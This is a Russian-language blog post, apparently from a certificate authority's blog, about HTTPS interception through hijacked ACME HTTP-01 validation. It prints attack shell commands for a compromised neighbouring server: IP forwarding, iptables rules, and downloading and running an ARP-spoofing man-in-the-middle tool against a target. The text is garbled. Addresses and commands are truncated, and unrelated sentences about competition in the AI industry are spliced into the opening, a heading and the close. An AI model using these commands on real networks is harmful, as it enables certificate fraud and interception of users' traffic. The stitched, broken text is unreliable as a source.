HTTPS-перехват на практике

Значимый прорыв формирует отрасль ИИ: GlobalSign_admin только что HTTPS-перехват на практике 4 мин 0 Блог компании GlobalSign Информационная безопасность * Браузеры Серверное администрирование * Веб-разработка * Перехват HTTPS — это техническая концепция и хакерская техника, которая заключается в обходе шифрования TLS для инспекции защищённого трафика. Таким образом, злоумышленник может активировать DPI незаметно для владельца сайта и его посетителей — и эффективно просматривать их трафик в то время, как они будут уверены в своей защищённости. На практике атака более десяти лет производится через обман Удостоверяющих центров (УЦ), такого как Let’s Encrypt.

На первом этапе злоумышленник заставляет их выдать TLS-сертификаты для доменов, которые им не принадлежат, перехватывая запросы ACME-HTTP-01. Для атаки уязвимы все УЦ, которые используют ACME. Наиболее подробно техника HTTPS-перехвата описана в этой статье из хакерского блога The Hacker’s Choice.

Технические детали

В блоге всего пять заметок от анонимного автора, который явно знаком с подобными атаками не понаслышке. Возможно, он сам их проводил или расследовал подобные инциденты. В другой заметке он приводит пример HTTPS-перехвата некоей государственной службой в Германии, а ещё в одной — как работает «государственный файрвол» в Иране, где тоже государство использует DPI для мониторинга и цензуры трафика.

Эксперты Open Technology Fund согласны, что подобный тип атак свойственен именно государственным акторам, и они приводят некоторые примеры таких атак в техническом отчёте. Пример атакиНа первом этапе злоумышленник должен получить доступ к целевому серверу или другому серверу в его подсети. Это можно сделать разными способами.

Например, через проникновение в сеть хостера, облачного провайдера или провайдера любой другой инфраструктуры, которую использует мишень (целевой сайт). Проще всего взломать соседний сервер в той же подсети (bounce), в качестве примеров см. известные случаи атак 2022 KlaySwap, 2023 Hetzner и др.

Отраслевые последствия

Трафик c целевого сервера (в нашем примере это 156. 158) перенаправляется на bounce, то есть 156. 111 путём соответствующей инструкции к их совместному маршрутизатору на 156.

1:# on BOUNCE: echo 1 >/proc/sys/net/ipv4/ip_forward echo 0 | tee /proc/sys/net/ipv4/conf/*/send_redirects iptables -t mangle -A PREROUTING -j TTL --ttl-inc 1 iptables -I FORWARD -d 156. 158 -j ACCEPT curl -o arpmitm -SsfL chmod 755 arpmitm . /arpmitm -i eth0 -A 00:16:66:66:01:11 156.

1:40:71:cc:cc:00:01 156. 158 Затем поднимается минималистичный HTTP-сервер:mkdir -p /tmp/. well-known/acme-challenge cd /tmp/.

Событие, по словам экспертов, усилит конкуренцию в сфере ИИ.